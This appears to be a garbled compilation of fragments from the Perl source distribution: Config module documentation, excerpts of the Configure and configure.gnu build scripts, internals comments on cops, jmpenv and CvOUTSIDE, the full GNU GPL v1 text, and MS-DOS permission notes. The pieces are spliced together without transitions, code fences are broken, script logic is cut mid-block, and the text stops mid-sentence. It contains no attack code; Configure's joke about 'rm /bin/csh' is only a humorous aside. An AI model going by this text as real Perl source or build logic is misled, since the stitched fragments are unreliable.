/* SIG_NAME:

```

```

*   This symbol contains a list of signal names in order of
*   signal number. This is intended
*   to be used as a static array initialization, like this:
*
*       char *sig_name[] = { SIG_NAME };
*
*   The signals in the list are separated with commas, and each signal
*   is surrounded by double quotes. There is no leading SIG in the signal
*   name, i.e. SIGQUIT is known as "QUIT".
*
*   Gaps in the signal numbers (up to NSIG) are filled in with NUMnn,
*   etc., where nn is the actual signal number (e.g. NUM37).
*
*   The signal number for sig_name[i] is stored in sig_num[i].
*
*   The last element is 0 to terminate the list with a NULL. This
*   corresponds to the 0 at the end of the sig_name_init list.
*
*   Note that this variable is initialized from the sig_name_init,
*   not from sig_name (which is unused).
*/

```

```

/* SIG_NUM:

```

```

*   This symbol contains a list of signal numbers, in the same order as the
*   SIG_NAME list. It is suitable for static array initialization, as in:
*
*       int sig_num[] = { SIG_NUM };
*
*   The signals in the list are separated with commas, and the indices
*   within that list and the SIG_NAME list match, so it's easy to compute
*   the signal name from a number or vice versa at the price of a small
*   dynamic linear lookup.
*
*   Duplicates are allowed, but are moved to the end of the list.
*
*   The signal number corresponding to sig_name[i] is sig_number[i].

```

```

*      if (i < NSIG) then sig_number[i] == i.

*      The last element is 0, corresponding to the 0 at the end of
*      the sig_name_init list.

*      Note that this variable is initialized from the sig_num_init,
*      not from sig_num (which is unused).

=head1 NAME

```

Config - access Perl configuration information

=head1 SYNOPSIS

```

use Config;

if ($Config{usethreads}) {

    print "has thread support\n"

}

```

```
use Config qw(myconfig config_sh config_vars config_re);
```

```
print myconfig();
```

```
print config_sh();
```

```
print config_re();
```

```
config_vars(qw(osname archname));
```

=head1 DESCRIPTION

The Config module contains all the information that was available to the C<Configure> program at Perl build time (over 900 values).

Shell variables from the F<config.sh> file (written by Configure) are stored in the readonly-variable C<%Config>, indexed by their names.

Values stored in config.sh as 'undef' are returned as undefined values. The perl C<exists> function can be used to check if a named variable exists.

For a description of the variables, please have a look at the Glossary file, as written in the Porting folder, or use the url:

<http://perl5.git.perl.org/perl.git/blob/HEAD:/Porting/Glossary>

=over 4

=item myconfig()

Returns a textual summary of the major perl configuration values.

See also C<-V> in L<perlrun/Switches>.

=item config\_sh()

Returns the entire perl configuration information in the form of the original config.sh shell variable assignment script.

=item config\_re(\$regex)

Like config\_sh() but returns, as a list, only the config entries whose names match the \$regex.

=item config\_vars(@names)

Prints to STDOUT the values of the named configuration variable. Each is printed on a separate line in the form:

```
name='value';
```

Names which are unknown are output as C<name='UNKNOWN';>.

See also C<-V:name> in L<perlrun/Switches>.

=item bincompat\_options()

Returns a list of C pre-processor options used when compiling this F<perl> binary, which affect its binary compatibility with extensions.

C<bincompat\_options()> and C<non\_bincompat\_options()> are shown together in the output of C<perl -V> as I<Compile-time options>.

=item non\_bincompat\_options()

Returns a list of C pre-processor options used when compiling this F<perl> binary, which do not affect binary compatibility with extensions.

=item compile\_date()

Returns the compile date (as a string), equivalent to what is shown by C<perl -V>

=item local\_patches()

Returns a list of the names of locally applied patches, equivalent to what is shown by C<perl -V>.

=item header\_files()

Returns a list of the header files that should be used as dependencies for XS code, for this version of Perl on this platform.

=back

=head1 EXAMPLE

Here's a more sophisticated example of using %Config:

```
use Config;
```

```
use strict;
```

```
my %sig_num;
```

```
my @sig_name;
```

```
unless($Config{sig_name} && $Config{sig_num}) {
```

```
    die "No sigs?";
```

```
} else {
```

```
    my @names = split ' ', $Config{sig_name};
```

```
    @sig_num{@names} = split ' ', $Config{sig_num};
```

```
    foreach (@names) {
```

```
        $sig_name[$sig_num{$_}] ||= $_;
```

```
    }
```

```
}
```

```
print "signal #17 = $sig_name[17]\n";  
if ($sig_num{ALRM}) {  
    print "SIGALRM is $sig_num{ALRM}\n";  
}
```

=head1 WARNING

Because this information is not stored within the perl executable itself it is possible (but unlikely) that the information does not relate to the actual perl binary which is being used to access it.

The Config module is installed into the architecture and version specific library directory (\$Config{installarchlib}) and it checks the perl version number when loaded.

The values stored in config.sh may be either single-quoted or double-quoted. Double-quoted strings are handy for those cases where you need to include escape sequences in the strings. To avoid runtime variable interpolation, any C<\$> and C<@> characters are replaced by C<\\$> and C<\@>, respectively. This isn't foolproof, of course, so don't embed C<\\$> or C<\@> in double-quoted strings unless you're willing to deal with the consequences. (The slashes will end up escaped and the C<\$> or C<@> will trigger variable interpolation)

```
=head1 GLOSSARY
```

Most C<Config> variables are determined by the C<Configure> script on platforms supported by it (which is most UNIX platforms). Some platforms have custom-made C<Config> variables, and may thus not have some of the variables described below, or may have extraneous variables specific to that particular port. See the port specific documentation in such cases.

=head1 GIT DATA

```

Information on the git commit from which the current perl binary was compiled can be found in the variable `C<$Config::Git_Data>`. The variable is a structured string that looks something like this:

```

git_commit_id='ea0c2dbd5f5ac6845ecc7ec6696415bf8e27bd52'

git_describe='GitLive-blead-1076-gea0c2db'

git_branch='smartmatch'

git_uncommitted_changes=""

git_commit_id_title='Commit id:'

git_commit_date='2009-05-09 17:47:31 +0200'

```

Its format is not guaranteed not to change over time.

=head1 NOTE

This module contains a good example of how to use tie to implement a cache and an example of how to make a tied variable readonly to those outside of it.

## Configure

```
#!/bin/sh
```

```
#
```

```
# If these # comments don't work, trim them. Don't worry about any other
```

```
# shell scripts, Configure will trim # comments from them for you.
```

```
#
```

```
# (If you are trying to port this package to a machine without sh,
```

```
# I would suggest you have a look at the prototypical config_h.SH file
```

```
# and edit it to reflect your system. Some packages may include samples
```

# of config.h for certain machines, so you might look for one of those.)

#

# Yes, you may rip this off to use in other distribution packages. This

# script belongs to the public domain and cannot be copyrighted.

#

# Note: this Configure script was generated automatically. Rather than

# working with this copy of Configure, you may wish to get metaconfig.

# The dist package (which contains metaconfig) is available via SVN:

# svn co <https://svn.sourceforge.net/svnroot/dist/trunk/dist>

#

# Though this script was generated by metaconfig from metaunits, it is

# OK to send patches against Configure itself. It's up to the Configure

# pumpkin to backport the patch to the metaunits if it is accepted.

# For more information on patching Configure, see pod/perlhack.pod

#

# The metaunits are also available from the public git repository:

# <http://perl5.git.perl.org/metaconfig.git/> or

# \$ git clone <git://perl5.git.perl.org/metaconfig.git> metaconfig

#

# See Porting/pumpkin.pod for more information on metaconfig.

#

# Generated on Mon Feb 14 23:00:18 CET 2011 [metaconfig 3.5 PL0]

# (with additional metaconfig patches by perlbug@perl.org)

```
cat >c1$$ <<EOF
```

```
ARGGGHHHH!!!!
```

SCO csh still thinks true is false. Write to SCO today and tell them that next year Configure ought to "rm /bin/csh" unless they fix their blasted shell. :-)

(Actually, Configure ought to just patch csh in place. Hmm. Hmmmmm. All we'd have to do is go in and swap the && and || tokens, wherever they are.)

[End of diatribe. We now return you to your regularly scheduled programming...]

```
EOF
```

```
cat >c2$$ <<EOF
```

OOPS! You naughty creature! You didn't run Configure with sh!

I will attempt to remedy the situation by running sh for you...

```
EOF
```

```
true || cat c1$$ c2$$
```

```
true || exec sh $0 $argv:q
```

```
(exit $?0) || cat c2$$
```

```
(exit $?0) || exec sh $0 $argv:q
```

```
rm -f c1$$ c2$$
```

```
if test -f /dev/cputype -a -f /dev/drivers -a -f /dev/osversion; then
```

```

        cat <<EOF

Usage: \$me [-dehrsEKOSV] [-f config.sh] [-D symbol] [-D symbol=value]

```

    [-U symbol] [-U symbol=] [-A command:symbol...]

```

-d : use defaults for all answers.

-e : go on without questioning past the production of config.sh.

-f : specify an alternate default configuration file.

-h : print this help message and exit (with an error status).

-r : reuse C symbols value if possible (skips costly nm extraction).

-s : silent mode, only echoes questions and essential information.

-D : define symbol to have some value:

```

    -D symbol      symbol gets the value 'define'

```

-D symbol=value symbol gets the value 'value'

common used examples (see INSTALL for more info):

-Duse64bitint use 64bit integers

-Duse64bitall use 64bit integers and pointers

-Dusethreads use thread support

-Dinc\_version\_list=none do not include older perl trees in @INC

-DEBUGGING=none DEBUGGING options

-Dcc=gcc choose your compiler

-Dprefix=/opt/perl5 choose your destination

-E : stop at the end of questions, after having produced config.sh.

-K : do not use unless you know what you are doing.

-O : let -D and -U override definitions from loaded configuration file.

-S : perform variable substitutions on all .SH files (can mix with -f)

-U : undefine symbol:

-U symbol symbol gets the value 'undef'

-U symbol= symbol gets completely empty

e.g.: -Uversiononly

-A : manipulate symbol after the platform specific hints have been applied:

-A append:symbol=value append value to symbol

-A symbol=value like append:, but with a separating space

-A define:symbol=value define symbol to have value

-A clear:symbol define symbol to be ''

-A define:symbol define symbol to be 'define'

-A eval:symbol=value define symbol to be eval of value

-A prepend:symbol=value prepend value to symbol

-A undef:symbol      define symbol to be 'undef'

-A undef:symbol=      define symbol to be "

e.g.: -A prepend:libswanted='cl pthread '

-A ccflags=-DSOME\_MACRO

-V : print version number and exit (with a zero status).

```
*** WHOA THERE!!! ***
```

This is an UNSTABLE DEVELOPMENT release.

The version of this \$package distribution is \$xversion, that is, odd,

(as opposed to even) and that signifies a development release.

If you want a maintenance release, you want an even-numbered version.

Do \*\*\*NOT\*\*\* install this into production use.

Data corruption and crashes are possible.

It is most seriously suggested that you do not continue any further

unless you want to help in developing and debugging Perl.

If you *\*still\** want to build perl, you can answer 'y' now,

or pass -Dusedevel to Configure.

if $needman; then

    cat <<EOH

```

This installation shell script will examine your system and ask you questions

to determine how the perl5 package should be installed. If you get stuck on a question, you may use a ! shell escape to start a subshell or execute a command. Many of the questions will have default answers in square brackets; typing carriage return will give you the default.

On some of the questions which ask for file or directory names you are allowed to use the ~name construct to specify the login directory belonging to "name", even if you don't have a shell which knows about that. Questions where this is allowed will be marked "(~name ok)".

EOH

```
rp=""  
dfilt='Type carriage return to continue'  
./myread  
cat <<'EOH'
```

The prompter used in this script allows you to use shell variables and backticks in your answers. You may use \$1, \$2, etc... to refer to the words in the default answer, as if the default line was a set of arguments given to a script shell. This means you may also use \$\* to repeat the whole default line, so you do not have to re-type everything to add something to the default.

Every time there is a substitution, you will have to confirm. If there is an error (e.g. an unmatched backtick), the default answer will remain unchanged and you will be prompted again.

If you are in a hurry, you may run 'Configure -d'. This will bypass nearly all the questions and use the computed defaults (or the previous answers if there was already a config.sh file). Type 'Configure -h' for a list of options. You may also start interactively and then answer '& -d' at any prompt to turn on the non-interactive behaviour for the remainder of the execution.

EOH

```
./myread  
cat <<EOH
```

Much effort has been expended to ensure that this shell script will run on any Unix system. If despite that it blows up on yours, your best bet is to edit Configure and run it again. If you can't run Configure for some reason, you'll have to generate a config.sh file by hand. Whatever problems you have, let me ([perlbug@perl.org](mailto:perlbug@perl.org)) know how I blew it.

This installation script affects things in two ways:

- 1) it may do direct variable substitutions on some of the files included in this kit.
- 2) it builds a config.h file for inclusion in C programs. You may edit any of these files as the need arises after running this script.

If you make a mistake on a question, there is no easy way to back up to it

currently. The easiest thing to do is to edit config.sh and rerun all the SH files. Configure will offer to let you do this before it runs the SH files.

They are not compatible! You are probably running ksh on a non-USG system.

I'll have to use \$echo instead of the builtin, since Bourne shell doesn't

have echo built in and we may have to run some Bourne shell scripts. That

means I'll have to use '\$n\$c' to suppress newlines now. Life is ridiculous.

You may give one or more space-separated answers, or "none" if appropriate.

If you have a handcrafted Policy.sh file or a Policy.sh file generated by a previous run of Configure, you may specify it as well as or instead of OS-specific hints. If hints are provided for your OS, you should use them: although Perl can probably be built without hints on many platforms, using hints often improve performance and may enable features that Configure can't set up on its own. If there are no hints that match your OS, specify "none"; DO NOT give a wrong version or a wrong OS.

*** WHOA THERE!!! ***

```

Your gcc has not been compiled for the exact release of  
your operating system (\$gccosandvers versus \$osname\$osvers).

In general it is a good idea to keep gcc synchronized with  
the operating system because otherwise serious problems  
may ensue when trying to compile software, like Perl.

I'm trying to be optimistic here, though, and will continue.

If later during the configuration and build icky compilation problems appear (headerfile conflicts being the most common manifestation), I suggest reinstalling the gcc to match your operating system release.

```

Perl can be built to take advantage of 64-bit integer types

on some systems. To do so, Configure can be run with `-Duse64bitint`.

Choosing this option will most probably introduce binary incompatibilities.

If this doesn't make any sense to you, just accept the default `'$dflt'`.

(The default has been chosen based on your configuration.)

EOM

```
rp='Try to use 64-bit integers, if available?'

    esac

    ;;

esac

cat <<EOM

```

You may also choose to try maximal 64-bitness. It means using as much 64-bitness as possible on the platform. This in turn means even more binary incompatibilities. On the other hand, your platform may not have any more 64-bitness available than what you already have chosen.

If this doesn't make any sense to you, just accept the default '\$dflt'.

(The default has been chosen based on your configuration.)

The installation process will also create a directory for  
vendor-supplied add-ons. Vendors who supply perl with their system  
may find it convenient to place all vendor-supplied files in this

directory rather than in the main distribution directory. This will ease upgrades between binary-compatible maintenance versions of perl.

Of course you may also use these directories in whatever way you see fit. For example, you might use them to access modules shared over a company-wide network.

The default answer should be fine for most people.

This causes further questions about vendor add-ons to be skipped and no vendor-specific directories will be configured for perl.

Perl can be built with extra modules or bundles of modules which  
will be fetched from the CPAN and installed alongside Perl.

Notice that you will need access to the CPAN; either via the Internet,  
or a local copy, for example a CD-ROM or a local CPAN mirror. (You will  
be asked later to configure the CPAN.pm module which will in turn do  
the installation of the rest of the extra modules or bundles.)

Notice also that if the modules require any external software such as  
libraries and headers (the libz library and the zlib.h header for the  
Compress::Zlib module, for example) you **MUST** have any such software  
already installed, this configuration process will **NOT** install such  
things for you.

If this doesn't make any sense to you, just accept the default '\$dflt'.

EOM

I can use \$nm to extract the symbols from your C libraries. This is a time consuming task which may generate huge output on the disk (up to 3 megabytes) but that should make the symbols extraction faster. The alternative is to skip the 'nm' extraction part and to compile a small test program instead to determine whether each symbol is present. If you have a fast C compiler and/or if your 'nm' output cannot be parsed, this may be the best solution.

You probably shouldn't let me use 'nm' if you are using the GNU C Library.

```

The perl executable is normally obtained by linking perlmain.c with libperl\${\_a}, any static extensions (usually just DynaLoader), and any other libraries needed on this system (such as -lm, etc.). Since your system supports dynamic loading, it is probably possible to build a shared libperl.\$so. If you will have more than one executable linked to libperl.\$so, this will significantly reduce the size of each executable, but it may have a noticeable effect on performance. The default is probably sensible for your system.

I need to select a good name for the shared libperl. If your system uses library names with major and minor numbers, then you might want something like \$majmin. Alternatively, if your system uses a single version number for shared libraries, then you might want to use \$majonly. Or, your system might be quite happy with a simple libperl.\$so.

Since the shared libperl will get installed into a version-specific architecture-dependent directory, the version number of the shared perl library probably isn't important, so the default should be o.k.

Perl can be built to use 'fast stdio', which means using the stdio

library but also directly manipulating the stdio buffers to enable

faster I/O. Using stdio is better for backward compatibility (especially

for Perl extensions), but on the other hand since Perl 5.8 the 'perlio'

interface has been preferred instead of stdio.

If this doesn't make any sense to you, just accept the default '\$dflt'.

```

```
    esac
```

```
    cat <<'EOM'
```

Perl can only use a vfork() that doesn't suffer from strict restrictions on calling functions or modifying global data in the child. For example, glibc-2.1 contains such a vfork() that is unsuitable. If your system provides a proper fork() call, chances are that you do NOT want perl to use vfork().

```

In the following, larger digits indicate more significance. A big-endian machine like a Pyramid or a Motorola 680?0 chip will come out to 4321. A little-endian machine like a Vax or an Intel 80?86 chip would be 1234. Other machines may have weird orders like 3412. A Cray will report 87654321, an Alpha will report 12345678. If the test program works the default is probably right.

I'm now running the test program...

while test $# -gt 0; do
    case $1 in
        --help)
            cat <<EOM
Usage: configure.gnu [options]

This is GNU configure-like front end for a metaconfig-generated Configure.

It emulates the following GNU configure options (must be fully spelled out):

    --help
    --no-create
    --prefix=PREFIX
    --cache-file (ignored)
    --quiet
    --silent
    --verbose
    --version
```

And it honours these environment variables: CC, CFLAGS and DEFS.

EOM

```
        exit 0

        ;;

--no-create)

        create='-E'

        shift

        ;;

--prefix=*)

        arg=`echo $1 | sed 's/--prefix=/-Dprefix=/'`

        opts="$opts $arg"

        shift

        ;;

--prefix)

        shift

        arg="-Dprefix=$1"

        opts="$opts $arg"

        shift

        ;;

--cache-file=*)

        shift          # Just ignore it.

        ;;

--quiet|--silent)

        exec >/dev/null 2>&1

        shift
```

```

        ;;
    --verbose)
        verbose=true
        shift
        ;;
    --version)
        copt="$copt -V"
        shift
        ;;

* Control ops (cops) are one of the two ops OP_NEXTSTATE and OP_DBSTATE,
```

```
* that (loosely speaking) are separate statements.
```

```
* They hold information important for lexical state and error reporting.
```

```
* At run time, PL_curcop is set to point to the most recently executed cop,
```

```
* and thus can be used to determine our current state.
```

```
*/
```

```
/* A jmpenv packages the state required to perform a proper non-local jump.
```

```
* Note that there is a PL_start_env initialized when perl starts, and
```

```
* PL_top_env points to this initially, so PL_top_env should always be
```

```
* non-null.
```

```
*
```

```
* Existence of a non-null PL_top_env->je_prev implies it is valid to call
```

```
* longjmp() at that runlevel (we make sure PL_start_env.je_prev is always
```

```
* null to ensure this).
```

```
*
```

```
* je_mustcatch, when set at any runlevel to TRUE, means eval ops must
```

```
* establish a local jmpenv to handle exception traps. Care must be taken
```

```
* to restore the previous value of je_mustcatch before exiting the
```

```
* stack frame iff JMPENV_PUSH was not called in that stack frame.
```

/\*

\* PERL\_FLEXIBLE\_EXCEPTIONS

\*

\* All the flexible exceptions code has been removed.

\* See the following threads for details:

\*

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/2004-07/msg00378.html>

\*

\* Joshua's original patches (which weren't applied) and discussion:

\*

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1998-02/msg01396.html>

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1998-02/msg01489.html>

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1998-02/msg01491.html>

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1998-02/msg01608.html>

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1998-02/msg02144.html>

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1998-02/msg02998.html>

\*

\* Chip's reworked patch and discussion:

\*

\* <http://www.xray.mpe.mpg.de/mailling-lists/perl5-porters/1999-03/msg00520.html>

\*

\* The flaw in these patches (which went unnoticed at the time) was

\* that they moved some code that could potentially die() out of the

\* region protected by the setjmp()s. This caused exceptions within

\* END blocks and such to not be handled by the correct setjmp().

\*

\* The original patches that introduces flexible exceptions were:

\*

\* <http://perl5.git.perl.org/perl.git/commit/312caa8e97f1c7ee342a9895c2f0e749625b4929>

\* <http://perl5.git.perl.org/perl.git/commit/14dd3ad8c9bf82cf09798a22cc89a9862dfd6d1a>

```
=for apidoc Amx|COPHH *|cophh_store_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32  
hash|SV *value|U32 flags
```

Stores a value, associated with a key, in the cop hints hash I<cophh>, and returns the modified hash. The returned hash pointer is in general

not the same as the hash pointer that was passed in. The input hash is consumed by the function, and the pointer to it must not be subsequently used. Use `COPHH_COPY` if you need both hashes.

The key is specified by `keypv` and `keylen`. If `flags` has the `COPHH_KEY_UTF8` bit set, the key octets are interpreted as UTF-8, otherwise they are interpreted as Latin-1. `hash` is a precomputed hash of the key string, or zero if it has not been precomputed.

`value` is the scalar value to store for this key. `value` is copied by this function, which thus does not take ownership of any reference to it, and later changes to the scalar will not be reflected in the value visible in the cop hints hash. Complex types of scalar will not be stored with referential integrity, but will be coerced to strings.

=cut

```

```
=for apidoc Amx|COPHH *|cophh_delete_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32  
hash|U32 flags
```

Delete a key and its associated value from the cop hints hash I<cophh>, and returns the modified hash. The returned hash pointer is in general not the same as the hash pointer that was passed in. The input hash is consumed by the function, and the pointer to it must not be subsequently used. Use L</cophh\_copy> if you need both hashes.

The key is specified by I<keypv> and I<keylen>. If I<flags> has the C<COPHH\_KEY\_UTF8> bit set, the key octets are interpreted as UTF-8, otherwise they are interpreted as Latin-1. I<hash> is a precomputed hash of the key string, or zero if it has not been precomputed.

### Preamble

The license agreements of most software companies try to keep users  
at the mercy of those companies. By contrast, our General Public  
License is intended to guarantee your freedom to share and change free  
software--to make sure the software is free for all its users. The  
General Public License applies to the Free Software Foundation's

software and to any other program whose authors commit to using it.

You can use it for your programs, too.

When we speak of free software, we are referring to freedom, not price. Specifically, the General Public License is designed to make sure that you have the freedom to give away or sell copies of free software, that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of a such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must tell them their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain

that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

The precise terms and conditions for copying, distribution and modification follow.

## GNU GENERAL PUBLIC LICENSE

### TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License Agreement applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any work containing the Program or a portion of it, either verbatim or with modifications. Each licensee is addressed as "you".

1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this General Public License and to the absence of any warranty; and give any other recipients of the Program a copy of this General Public License along with the Program. You may charge a fee for the physical act of transferring a copy.

2. You may modify your copy or copies of the Program or any portion of it, and copy and distribute such modifications under the terms of Paragraph 1 above, provided that you also do the following:

a) cause the modified files to carry prominent notices stating that

you changed the files and the date of any change; and

b) cause the whole of any work that you distribute or publish, that in whole or in part contains the Program or any part thereof, either with or without modifications, to be licensed at no charge to all third parties under the terms of this General Public License (except that you may choose to grant warranty protection to some or all third parties, at your option).

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the simplest and most usual way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this General Public License.

d) You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

Mere aggregation of another independent work with the Program (or its derivative) on a volume of a storage or distribution medium does not bring the other work under the scope of these terms.

3. You may copy and distribute the Program (or a portion or derivative of it, under Paragraph 2) in object code or executable form under the terms of Paragraphs 1 and 2 above provided that you also do one of the following:

a) accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Paragraphs 1 and 2 above; or,

b) accompany it with a written offer, valid for at least three years, to give any third party free (except for a nominal charge for the cost of distribution) a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Paragraphs 1 and 2 above; or,

c) accompany it with the information you received as to where the corresponding source code may be obtained. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form alone.)

Source code for a work means the preferred form of the work for making modifications to it. For an executable file, complete source code means all the source code for all modules it contains; but, as a special exception, it need not include source code for modules which are standard libraries that accompany the operating system on which the executable file runs, or for standard header files or definitions files that

accompany that operating system.

4. You may not copy, modify, sublicense, distribute or transfer the Program except as expressly provided under this General Public License. Any attempt otherwise to copy, modify, sublicense, distribute or transfer the Program is void, and will automatically terminate your rights to use the Program under this License. However, parties who have received copies, or rights to use copies, from you under this General Public License will not have their licenses terminated so long as such parties remain in full compliance.

5. By copying, distributing or modifying the Program (or any work based on the Program) you indicate your acceptance of this license to do so, and all its terms and conditions.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein.

7. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of the license which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the license, you may choose any version ever published by the Free Software Foundation.

8. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

#### NO WARRANTY

9. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN

OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS

## Appendix: How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to humanity, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

<one line to give the program's name and a brief idea of what it does.>

Copyright (C) 19yy <name of author>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 1, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

```
Gnomovision version 69, Copyright (C) 19xx name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
```

The hypothetical commands ``show w'` and ``show c'` should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than ``show w'` and ``show c'`; they could even be mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here a sample; alter the names:

```
Yoyodyne, Inc., hereby disclaims all copyright interest in the
```

program `Gnomovision' (a program to direct compilers to make passes  
at assemblers) written by James Hacker.

<signature of Ty Coon>, 1 April 1989

Ty Coon, President of Vice

That's all there is to it!

/*

=head1 CV reference counts and CvOUTSIDE

```

=for apidoc m|bool|CvWEAKOUTSIDE|CV \*cv

Each CV has a pointer, C<CvOUTSIDE(>), to its lexically enclosing CV (if any). Because pointers to anonymous sub prototypes are stored in C<&> pad slots, it is possible to get a circular reference, with the parent pointing to the child and vice-versa. To avoid the ensuing memory leak, we do not increment the reference count of the CV pointed to by C<CvOUTSIDE> in the |one specific instance> that the parent has a C<&> pad slot pointing back to us. In this case, we set the C<CvWEAKOUTSIDE> flag in the child. This allows us to determine under what circumstances we should decrement the refcount of the parent when freeing the child.

There is a further complication with non-closure anonymous subs (i.e. those that do not refer to any lexicals outside that sub). In this case, the anonymous prototype is shared rather than being cloned. This has the consequence that the parent may be freed while there are still active children, eg

```
BEGIN { $a = sub { eval '$x' } }
```

In this case, the BEGIN is freed immediately after execution since there are no active references to it: the anon sub prototype has C<CvWEAKOUTSIDE> set since it's not a closure, and \$a points to the same

CV, so it doesn't contribute to BEGIN's refcount either. When \$a is executed, the C<eval '\$x'> causes the chain of C<CvOUTSIDE>s to be followed, and the freed BEGIN is accessed.

To avoid this, whenever a CV and its associated pad is freed, any C<&> entries in the pad are explicitly removed from the pad, and if the refcount of the pointed-to anon sub is still positive, then that child's C<CvOUTSIDE> is set to point to its grandparent. This will only occur in the single specific case of a non-closure anon prototype having one or more active references (such as C<\$a> above).

One other thing to consider is that a CV may be merely undefined rather than freed, eg C<undef &foo>. In this case, its refcount may not have reached zero, but we still delete its pad and its C<CvROOT> etc. Since various children may still have their C<CvOUTSIDE> pointing at this undefined CV, we keep its own C<CvOUTSIDE> for the time being, so that the chain of lexical scopes is unbroken. For example, the following should print 123:

```
my $x = 123;

sub tmp { sub { eval '$x' } }

my $a = tmp();

undef &tmp;

print $a->();
```

    * MS-DOS "user" is similar to UNIX's "superuser," but can't write
    * to write-protected files. The execute permission bit is set
    * by the Microsoft C library stat() function for the following:

    *         .exe files
    *         .com files
    *         .bat files
    *         directories

    * All files and directories are readable.

    * Directories and special files, e.g. "CON", cannot be
    * write-protected.

    * [Comment by Tom Dinger -- a directory can have the write-protect
    *         bit set in the file system, but DOS permits changes to
    *         the directory anyway. In addition, all bets are off
    *         here for networked software, such as Novell and
    *         Sun's PC-NFS.]

/*

* <rich@phekda.freemove.co.uk>: The DJGPP port has code that converts
